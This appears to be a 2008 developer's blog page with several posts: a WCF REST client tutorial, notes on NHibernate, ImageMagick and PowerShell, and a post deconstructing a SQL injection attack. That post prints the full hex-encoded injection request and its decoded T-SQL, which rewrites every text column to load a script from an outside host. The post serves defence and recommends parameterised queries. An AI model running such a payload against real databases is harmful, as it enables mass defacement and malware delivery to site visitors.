Building a REST client with WCF

Wednesday, November 12 2008         3 Comments

Microsoft recently released a WCF and REST starter kit on Codeplex. The kit provides a library of helper classes and extension methods for building a REST service, as well as several project templates which will take a lot of the work out of setting up the plumbing. They've enlisted the help of Pluralsight's Aaron Skonnard to provide some guidance which he does in a blog post, whitepaper and series of screencasts. There's some great info there, and it's well worth a look.

What I haven't seen is a lot of coverage is how to consume REST services using WCF. If you watch the screencasts, Aaron uses Fiddler to POST and PUT the resources on the service side. This is great as it shows you what is happening over the wire, but it doesn't help you if you're trying to call a service from your code.

So I've put together a very basic REST service and client as an example to build from.

The service is based on the WCF REST Collection Service template which is added to your Visual Studio templates when you install the starter kit.

resttemplates

 

To make this compile, you'll also need to compile the Microsoft.ServiceModel.Web component source which should be in Program Files\WCF REST Starter Kit\Microsoft.ServiceModel.Web. To do this, you'll also need SP1 of .NET 3.5 and Visual Studio 2008 installed.

I didn't change much from the sample template implementation, I replaced their "SampleItem" class and replaced it with my own "Stock" class and added a few sample values to the initial collection via a constructor.

The end result is a simple REST service that lists some "Stock" data (Name, Symbol, Price) and lets you GET a collection or individual item, POST a new stock ticker and values, and update (PUT) any of the existing ones.

The collection results are wrapped in a StockInfo XML node containing the item as well as an EditLink node with the URI for the resource.

servicexml

I won't dwell to much more on the server side of this as the screencasts do a great job, but I will talk through building a client to consume this service.

Building a simple WCF REST Client

The first thing you need to do is reference the System.ServiceModel and System.ServiceModel.Web assemblies. The System.ServiceModel assembly is the heart of all WCF applications, the Web assembly is new to .NET 3.5 and provides classes for what they call the "web programming model".

Next we create an interface for our client, this defines the Service Contract we will be working with. The interface looks like this :

 

    [ServiceContract]
    public interface IStockClient
    {
        [OperationContract]
        [WebGet(
            BodyStyle = WebMessageBodyStyle.Bare, 
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = ""
            )]
        StockList GetAllStocks();

        [OperationContract]
        [WebGet(
            BodyStyle = WebMessageBodyStyle.Bare,
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = "{symbol}"
            )]
        Stock GetStock(string symbol);

        [OperationContract]
        [WebInvoke(
            Method = "PUT",
            BodyStyle = WebMessageBodyStyle.Bare,
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = "{symbol}"
            )]
        Stock UpdateStock(string symbol, Stock stock);

        [OperationContract]
        [WebInvoke(
            Method = "POST",
            BodyStyle = WebMessageBodyStyle.Bare,
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = ""
            )]
        StockInfo AddStock(Stock stock); 

    }

Most of this will look familiar if you've done any WCF, but to walk through it :

  • The methods we will be inplementing in our local client are GetAllStocks, GetStock, UpdateStock and AddStock. These method names bear no resemblance to any naming convention on the server side, they are just local methods.
  • The ServiceContract attribute tells WCF that this is what the service implementation is going to look like, and the OperationContract tells WCF this is what methods we can call over the wire.
  • The WebGet and WebInvoke attributes tell WCF how we are going to call these on the service side.

To look a little closer at the last point.

[WebGet(
    BodyStyle = WebMessageBodyStyle.Bare,
    ResponseFormat = WebMessageFormat.Xml,
    UriTemplate = ""
    )]

  • This attribute says we are going to perform a GET request against the service.
  • The WebMessageBodyStyle.Bare means that the response is going to be just the resource data, and not wrapped in any extraneous metadata.
  • ResponseFormat looks pretty self explanatory, we are going to get our data back as XML. Another option here is JSON.
  • UrITemplate defines the location of the resource. As it's blank, we will be performing a GET against the base URI of the service (defined in the configuration, in this case it's http://127.0.0.1:16353/Service.svc/). In the GetStock and UpdateStock methods you'll see that the template is marked up with the name of one of the method parameters, i.e. {symbol}. This means that the call will be made to a URI such as http://127.0.0.1:16353/Service.svc/MSFT.

In some of the other methods, you'll see this decoration as a WebInvoke instead of WebGet. This attribute means that instead of a GET, we are going to perform an HTTP PUT or POST against the service.

That's a big part of the work done there, next we have to provide the implementation of this interface, which in this case is very simple. The WCF libraries do most of the work.

    public class StockClient : ClientBase, IStockClient
    {
        public StockList GetAllStocks()
        {
            return this.Channel.GetAllStocks();
        }
        public Stock GetStock(string symbol)
        {
            return this.Channel.GetStock(symbol);
        }
        public Stock UpdateStock(string symbol, Stock stock)
        {
            return this.Channel.UpdateStock(symbol, stock);
        }
        public StockInfo AddStock(Stock stock)
        {
            return this.Channel.AddStock(stock);
        }
    }

 

You'll see this inherits from a ClientBase<T> class, and from IStockClient.

We have a few missing pieces here, I have methods returning StockInfo, Stock and StockList. These are some classes I defined to deserialize the XML into, the classes are defined to match the XML returned from the service as showing in the screenshot above.

 

    [CollectionDataContract(Namespace = "")]
    public class StockList : List
    {
    }

    [DataContract(Namespace = "")]
    public class StockInfo
    {
        [DataMember]
        public Stock Stock { get; set; }
        [DataMember]
        public string EditLink { get; set; }
    }

    [DataContract(Namespace = "")]
    public class Stock
    {
        [DataMember]
        public string Symbol { get; set; }
        [DataMember]
        public string Name { get; set; }
        [DataMember]
        public double Price { get; set; }
    }

You can see that the classes are decorated as DataContracts, and the members are DataMembers. In this case, I've built the classes to match the XML that is being returned from my service. If I wanted to use a different naming convention in my client, I can use the Name property in the DataContract constructor to match the XML.

The final piece of the puzzle is the configuration. Configuration of WCF is the part that scares most people, this is in part because Visual Studio's generated code adds all of the possible options. The configuration for this is quite simple though.

wcf_config

  • We've defined an endpoint, which is the base address for the service.  It is sitting on an ASP.NET Development Server at http://127.0.0.1:16353/Service.svc/.
  • We're using the webHttpBinding.
  • We have defined a contract in IStockClient and provided a qualified configuration value for that.
  • Finally we've specified a behavior, called "stocks". Below the endpoint configuration we have defined this and placed the webHttp tag.

That's really all there is to it, I haven't implemented any authentication and security in either the service or the client, that might be a topic for a future article. You can download the source here and run it if you like. You'll see I've implemented this inside a simple Console app, so as to not confuse the issue with multiple assemblies, you can run it and see the various methods being called.

WCF is very flexible and powerful, and this comes with the tradeoff of having a vast array of options and configuration choices. I think this seems to scare a lot of people away from adopting WCF or even finding the time to look at it. WCF isn't going away any time soon though, and REST (or REST like) APIs are in vouge at the moment and the two are a very powerful combination so I hope this demystifies a few things for people.

NHibernate at Sydney Alt.Net

Wednesday, October 29 2008         No Comments

Last night I gave part of a talk on NHibernate and ASP.NET MVC at the newly formed Sydney ALT.NET group.

I took the first half on NHibernate and Ali Shafai took the second part and did a demo of MVC, which he describes as "a brand new technology invented by Microsoft ;)

We were a little rushed for time, and I unplugged from the projector before showing my last slide with some helpful links for people wanting to use NHibernate, so here they are.

  • NHForge is a new community run project aimed at being a central place to go for articles / FAQs and help.
  • The NHusers Google Group is a good discussion group with users and developers.
  • Check out the Summer of NHibernate screencast series if videos are more your thing.
  • Sharp Architecture is a project by Billy McCafferty to provide a "best practice" starter kit for an NHibernate / ASP.NET MVC project. I used a couple of the patterns and some code from this in the demo.
  • I also mentioned the NHibernate in Action book from Manning publications.
  • Unrelated to NHibernate, in the first part of the talk I said that there was an WCF Rest starter kit project on Codeplex, but we couldn't find it. Here is a link to that if you're interested.

I had fun doing the talk, hope it was enjoyable for those in attendance. Thanks again to Richard for organising the group and Thoughtworks for giving us space to do it.

Resizing photos with ImageMagick

Tuesday, August 26 2008         No Comments

With a couple of small children, and a nice digital SLR, a lot of photos get taken in this house.

Of course people want the photos emailed to them, and it’s just impolite to email a collection of 3mb images (did you get that everyone ? impolite!). It’s pretty tedious going through and manually resizing stacks of files, so a few years ago I looked at some alternatives.

The answer is ImageMagick, the open source image manipulation suite that will do just about everything, run on any platform and integrate with any language.

There are a few elegant ways I could have used the ImageMagick library to automate some photo resizing but a two line batch file does an ok job. Unfortunely, every time I’ve reinstalled Windows on Sam’s computer, I forgot to back up and migrate this particular script. To having to look up all the command line parameters again tonight, and to avoid it next time, here is the script.

mkdir emailable
for %%f in (*.jpg) DO "c:\Program Files\ImageMagick-6.4.3-Q16\convert.exe" "%%f" -resize 1000 -quality 50 "emailable\small_%%f"

Not pretty, but functional. Save this in a file called “emailable.bat” somewhere in your path.

I use the Command Shell here PowerToy to open up a command window in a new directory of photos (the Canon software exports photos to a folder for each day), type “emailable” and it creates a subdirectory and copies a lower quality, smaller version of every photo there.

Hopefully this workflow will appeal to someone else out there, but for me, it’s now safely online and in Google’s cache.

 

SQL Injection hack deconstructed

Friday, August 22 2008         No Comments

This is not the first time I’ve talked about SQL Injection here, but I’ve spent some time this week cleaning up an automated SQL Injection attack on a site I’ve inherited the maintenance on.

I got the call the other day saying “the site is looking funny, all the formatting is messed up”, one look at the page and a view source and I knew what was up. A database restore fixed the immediate problem, then it was a matter of looking at the server logs to find out the how and where so I could fix it.

The attack was pretty easy to find in the logs, a whole bunch of requests that looked like this :

GET /default.asp ti=1402&client=1;DECLARE%20@S%20VARCHAR(4000);
SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152
434841522832353529204445434C415245205461626C655F437572736F722043
5552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046
524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574
845524520612E69643D622E696420414E4420612E78747970653D2775272041
4E442028622E78747970653D3939204F5220622E78747970653D3335204F522
0622E78747970653D323331204F5220622E78747970653D31363729204F5045
4E205461626C655F437572736F72204645544348204E4558542046524F4D205
461626C655F437572736F7220494E544F2040542C4043205748494C45284040
46455443485F5354415455533D302920424547494E2045584543282755504441
5445205B272B40542B275D20534554205B272B40432B275D3D525452494D284
34F4E5645525428564152434841522834303030292C5B272B40432B275D2929
2B27273C736372697074207372633D687474703A2F2F7777772E756A6E632E
72752F6A732E6A733E3C2F7363726970743E27272729204645544348204E45
58542046524F4D205461626C655F437572736F7220494E544F2040542C4043
20454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43
415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));
EXEC(@S);--

Ugly!

What’s happening here is the long ugly bit is a chunk of SQL encoded as Varbinary. A SQL variable (@S) is being declared, then the varbinary value is being cast back to varchar into the variable, which is then EXECuted.

If you decode this value, you get this bit of SQL code :


DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://evilwebsite.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://evilwebsite.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Ouch!

So this is finding all the large text columns by querying the system tables, and updating them to insert a script tag which can deliver any nasty payload the decide to put there.

The reason this attack is so effective is to most asp websites (this is an old site that was hit), the most checking of querystring values is the old standard of replacing the apostrophes. As you see from the GET request, there are no apostrophes. So a typical piece of asp code might look like this :

Dim sql
sql = "SELECT id, title, body FROM articles WHERE id = " & Replace(Request.QueryString("id"), "'", "''")
set rs = conn.exec(sql)

The act of escaping the apostrophes is pretty good against pretty much every SQL Injection attack we’ve seen in the wild, but as you can see, totally useless against a binary encoded query that is being dynamically executed.

Thankfully the safeguards are easy and well documented.

  • Strongly typed variables
  • Parameterised queries and / or stored procs

If you’re in charge of an older site that doesn’t do these things, go check it now and make sure you’re databases are backed up. Because there are bots out there scanning, and you will get hit by this.

On security disclosure

Several years ago, while writing some articles on SQL Injection and preparing some training materials to present to some co workers I did a lot of experimenting and uncovered this style of attack. It is being used here to insert nasty script into content, but if you are running your website under a high privilege account (i.e. SA) you can do some real damage. It’s possible to fire off an xp_cmdshell command with this technique which lets you take full control of a server, all via a web site URL. I sent it round to a few trusted friends saying “what should I do about this ?” I’ve never been part of a security research scene and I had a dilemma. Publish this and educate a whole bunch of people on how to do it, or keep quiet about it and hope it didn’t get figured out by anyone else that wanted to use it maliciously.

In the end I kept quiet about it, so the irony that it came back to bite me isn’t lost.

What would you have done ?

 

Thoughts on Ning.com

Friday, August 22 2008         No Comments

This was originally an email to a friend looking for a platform to set up a small blogging network, I suggested Ning via Twitter and followed up with some more detailed thoughts. I’ve edited bits to make it a little more general.

I'm running two sites on it now, Sydneycyclist and Melbournecyclist although I don't have much to do with the layout or the day to day on the Melbourne one.

What's good about Ning, especially for what you want to do.

  • Privacy - you can set up it so new members need to be approved, you can also only allow unapproved members to see the home page.
  • Groups - you could set up sub groups, if you wanted to be able to set up say a Sydney group or anything else you can.
  • Events are cool, you can set up an event, invite people to it and collect RSVPs
  • Customisable user profiles - people can skin their own page however they like.
  • Photos / videos etc, may not be as useful to you, but if you had a meetup it's a nice private place to post pics and comment on them. There are some nice touches like geotagging photos against Google maps.
  • Front page is customisable, you can pull in RSS feeds, move around forum posts / gallery / any number of text boxes etc to your hearts content.
  • Decent messaging system between members
  • The activity bar lets you decide what sort of events show up, and you can do custom announcements

As for negatives, there isn't anything too bad about it. The front page can get a little slow and sluggish if you're pulling in lots of feeds.

There are also some limitations around the way the home page items work.
For example, when I put a forum box on the home page, I can have it display latest posts, or featured posts. What would be awesome is to be able to have the latest posts, plus any sticky / featured / announcement posts. I could do something by pasting in a link to an announcements text box though (just thought of that, I might go play with that idea).

There are times when a discussion partly fits in a group, but could also belong in the main forum. I've tamed my OCD and stopped worrying about that.

It costs a few bucks a month if you want to point a custom domain name at it.

All in all though, I like it. I never would have gotten those sites off the ground without it. A few of my members have gone and started their own networks for other interests too.

It's free and easy to set something up to try, although I will say that if you want to do that, give it a few hours to get your head around. It can be a bit overwhelming when you get started.

Check out the Ning blog, it has lots of inspiration.

On technical blogging

Friday, August 22 2008         No Comments

Blogging about blogging is so 2003, but I have some rambling thoughts I need to put down. It’s 2am and I can’t sleep so you’ll have to excuse my self indulgence. You can always stop reading, it’s my blog after all!

I’ve been struggling a bit with what to do with this blog. I’ve had several attempts at blogging since about 2001 and grown pretty tired of all of them. I started this one up mainly to write about some cycling topics, but I put anything cycling related on Sydneycyclist these days.

My feeling is I should write more about some of the technical subjects that interest me, but I’m having a bit of trouble with what sort of format that should be in.

I’m as involved in various social media sites as anyone else (well except maybe Laurel Papworth) but I couldn’t bring myself to be yet another social media commentator, or worse still “evangelist”, because well, the world doesn’t need any more of those (no dig at Laurel there by the way, she was doing it before it was cool ).

Worse still would be putting forth my armchair view on Twitter’s scaling, and how it would be so much better if they wrote it in insert your favourite programming language here instead of Ruby.

What is tempting is to blog about my explorations through various technologies and code tips, for example I’ve been working with the new ASP.NET MVC framework and learning about it the way everyone else is, by scouring blogs and spending a bunch of time in Reflector and the source code. However, for every technology that I might be tempted to write about, there is someone like Stephen Walther doing a great job and I just don’t have the time to keep up. My lone Powershell post is a perfect example. Besides, my job really doesn’t involve life on the bleeding edge (MVC framework notwithstanding), by the time I get to implement tools they usually have to be pretty stable and proven, and the blog posts are already written.

I could write reviews of stuff I use and like, and I probably will do some more of this. It brings in traffic through “the google”, but that’s not a game I want to play. The counter of that is writing rants about stuff I don’t like, but I’m really trying to avoid that because…well… who needs more whiny bloggers ? (besides Twitter is a much more satisfying tool for a quick rant).

So that leaves the question, what does a architecty type technologist person blog about in the first quarter of the 21st century ?

I suspect the answer actually lies somewhere along the lines of blogging about code and technical explorations, but more along the lines of doing useful things. My work often involves software integration and finding the best set of tools to make A talk to B, so maybe that’s where I need to be on the blog. I have a stack of links and thoughts and notes sitting inside Evernote about things that have taken my interest, perhaps I need to start building sample applications against them and put that up here. That would at least be something a little bit different.

I’m not really ready to retire this site, I am quite chuffed I managed to get the domain name. So I think I will try to use it a bit more.

If you made it this far, well done. Like I said, I needed to get some thoughts down and I may as well hit the publish button. Feel free to comment if you have any great ideas.

Adventures in PowerShell part 1 - Desktop Cleaning

Tuesday, February 19 2008         No Comments

I’ve been interested in PowerShell for ages but haven’t put any serious time into it. About a year ago I installed it and started playing around, liked it but didn’t do anything really useful. I bought Bruce Payette’s Windows PowerShell in Action, which is excellent and I highly recommend it around then, and ran through the examples. I got what was possible with PowerShell, but I learn best by doing – and I really didn’t have anything I needed to build so the information didn’t really sink in.

This week I decided to revisit it and see what I could do. My interest was rekindled by listening to the .NET Rocks show with Kirk Munro which was a good explanation of the technology and an introduction to the free PowerGUI tool.

So I had another crack at writing PowerShell, I started with FizzBuzz (too easy), then moved on to replacing a .vbs script I’ve been using for a while.

I like a clean Windows desktop, I keep it clear of any program icons but I do use it to store any recent downloads or for keeping documents I’ve recently been sent. Unfortunately it means my desktop fills up pretty quick so I built a script that archives everything on my desktop to a Cleanup directory tree. So a word document will end up in C:\cleanup\doc and a Zip will go to C:\cleanup\zip etc. It works for me, I know where to look based on the type of document. Periodically I go through these folders and delete what  I don’t need, and move things I do need to a proper home.

I had a vbs script for doing this that worked fine, I have it run as a scheduled task when I log on. In VBScript this is about 25 lines of code ( I like to keep my code readable, if I can use 5 lines instead of 3 I will, so you could do it in fewer lines).

In PowerShell it’s much simpler.

$indir = Get-Item C:\Users\Damian\Desktop
$outdir = Get-Item C:\Cleanup\

foreach ($f in dir $indir) 
{
	if ( $f.Extension.length -gt 0 ) 
	{ 
		$strpath = "C:\cleanup\" + $f.Extension.Substring(1)
		if ( -not $(Test-Path -literalpath ($strpath)) )
		{
			New-Item -ItemType Directory -Path $strpath | Out-Null
		}
		$cpdir = Get-Item $strpath
		Get-Item ($f.Directory.ToString() + "\" + $f.ToString()) | move -Destination $cpdir
	}
}

I’m sure there is a better way to get some of the directories rather than joining strings, but this works nicely.

I plan on digging up a lot of the little utility scripts I’ve written over the years and converting them to PowerShell, I think it’s a very nice technology but the only way to really get it is just dig in and do it.

New blog software

Friday, February 08 2008         3 Comments

You may notice yet another theme change on this blog, this time it’s accompanied by some new blog software as well.

I’ve been finding SubText a little cumbersome, and the development seems to have come to a complete halt, meanwhile Telligent have put out some betas of their new CMS, Graffiti. I downloaded beta 2 for a test drive and was really impressed. Skinning and customisation are so much easier than with SubText, within a short time of playing around I had my blog content imported and looking the way I wanted it (well, I’m using a tweaked but included theme, this may change.. but from a site structure standpoint it’s perfect). So I figured why the hell not just put it up there. My only real challenge was all my old URLs in Google. Thankfully (and I’m going to get a bit nerdy for a moment) they had the forethought to put a bunch of startup code directly in Global.asax so I was able to build my own redirection routine in there, then it was just a matter of pulling out all my old URLs from the BlogML and matching them with new ones.

If you are reading this in an RSS reader, it means I succeded there too!

I actually do want to blog more this year, I have some cool stuff going on I will be able to talk about soon.

Readify Developer Network

Wednesday, October 03 2007         No Comments

It’s been a while since I attended any developer events, but this post by Greg Low piqued my interest. The folks at Readify wanted to hold some fortnightly training sessions to keep their distributed workforce up to date on all the new stuff coming out of Microsoft at the moment, and then decided to open the sessions up to the public. The Readify Developer Network is the result.

The first session was tonight, and happened to be an in depth intro to Silverlight for developers. Silverlight is something I’ve been playing with lately so I went along. Before the Silverlight session we had a shorter intro to Windows Presentation Foundation by Paul Stovell. I’ve known Paul for a few years now but had never seen him do a presentation. Despite been a bit short for time and having to skip over a few things I thought it was a good intro to the technology. WPF isn’t something I’ve had a close look at, so I walked away with a much better picture of how it works.

The main event though was Phil Beadle’s talk on Silverlight. I went in hoping to find some solutions to some of the walls I hit when I started playing with Silverlight 1.1. My problems are mostly to do with the security sandboxing, and not being able to call media files across domains (i.e. a site at http://foo.com/ couldn’t play a video from http://media.foo.com/). Unfortunately I didn’t get any good answers other than these are things that should change in the near future.

The main thrust of this talk wasn’t media though. Instead it focused on how Silverlight applications can interact with HTML and JavaScript inside the browser. This part was very interesting, I had touched on this during my experiments with the technology, but hadn’t quite realised just what a powerful tool it is.

Depending on what changes Microsoft make to the Silverlight bits and how quickly they make them, it could be a very fun technology.

Anyway, if you’re a developer in Sydney, Melbourne or Canberra – I think these sessions are well worth a look. You’ll most likely find me at the SQL Server 2008 and the Powershell sessions at the very least.

 

Tip : Vista and default browser association

Monday, September 10 2007         No Comments

I’ve just made the jump from Windows XP to Vista. I was getting asked more questions about it, and having to support applications running on it, and I really wasn’t able to answer with anything more than an assumption. On top of that, my 12 month old XP install was getting creaky, waking itself up in the middle of the night, taking way too long to boot and generally annoying me.

So far Vista has been reasonably painless, after I tweaked it a little to turn off the annoyances it’s performing nicely.

Something that drove me absolutely nuts is that although Firefox was the default browser, a number of applications (including Google Desktop and Trillian) were opening links in IE. This is a known issue for both Google Desktop and Firefox but the recommended fix didn’t work for me. What finally did fix it for me was going into Default Programs, choosing the “Set program access and computer defaults” and making sure that Internet Explorer wasn’t selected as the default browser there. Obviously there are a few levels of default, and one of them wasn’t being set properly for me.

Default Programs

Set program access and computer defaults

I’m blogging this in the hope that it helps someone out, I couldn’t find this answer anywhere.